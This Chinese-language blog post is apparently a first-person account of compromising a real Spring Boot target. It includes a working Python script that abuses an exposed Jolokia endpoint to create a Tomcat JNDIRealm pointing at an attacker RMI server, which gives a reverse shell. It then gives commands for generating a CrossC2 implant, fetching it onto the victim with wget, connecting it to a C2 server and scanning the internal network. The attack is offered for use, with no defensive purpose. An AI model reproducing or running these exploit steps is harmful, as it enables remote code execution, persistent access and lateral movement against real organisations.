拿到目标对其信息收集发现ip端口下有个小绿叶。这不spring吗!!
对其目录进行扫描发现存在/jolokia/list目录,搜索jndi字样还真有!这rec不就可能了嘛
github下载rmi服务
https://github.com/mpgn/Spring-Boot-Actuator-Exploit/tree/master/maliciousRMIServer
修改 EvilRMIServer.java 文件,RMI远程监听的端口,和反弹shell的地址和端口
注意:在vps上部署需mvn环境及jdk环境
在maliciousRMIServer目录下运行(可能编译的时间会比较长)
mvn clean install
编译成功会生成以下文件,进入target文件中开启rmi服务
java -Djava.rmi.server.hostname=xxxxxxxxxxxx -jar RMIServer-0.1.0.jar
vps上监听以上设置好的端口
import requests as req
import sys
from pprint import pprint
url = sys.argv[1] + "/jolokia/"
pprint(url)
#创建JNDIRealm
create_JNDIrealm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
#写入contextFactory
set_contextFactory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
#写入connectionURL为自己公网RMI service地址
set_connectionURL = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://x.x.x.x:1097/jndi"
}
#停止Realm
stop_JNDIrealm = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
#运行Realm,触发JNDI 注入
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}
expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]
for i in expoloit:
rep = req.post(url, json=i)
pprint(rep.json())
运行以上脚本即可反弹到vps
搞半天原来是个linux的!之前打靶场和实战碰到的内网都是在windows服务器下的,这次也是一边打一边学习
linux内网很想思路无非就是
- 翻一下文件,一些数据库及一些配置文件,有无敏感信息泄露
- 探测内网机器是否存在着弱口令等
- 扫描别的存活机器有无永恒之蓝之类的漏洞
先把服务上线到c2上方便管理,好像在c2上没有linux直接上线的方法,就要引用出CrossC2了
https://github.com/gloxec/CrossC2
要把该工具放到c服务器上
./genCrossC2.Linux [vps-ip] [vps-ip-port] null null Linux x64 test
执行生成木马,并开启http服务
c2接听以上设置的端口
目标机器利用wget下载该木马,赋予权限即可上线至c2
虽然上线了,但是不知道为啥插件用不了
后续:搭了个隧道,对fscan对内网梭哈,巴拉巴拉巴拉太菜了打不下去了
有什么不足的希望各位大佬补充补充!
暂无评论内容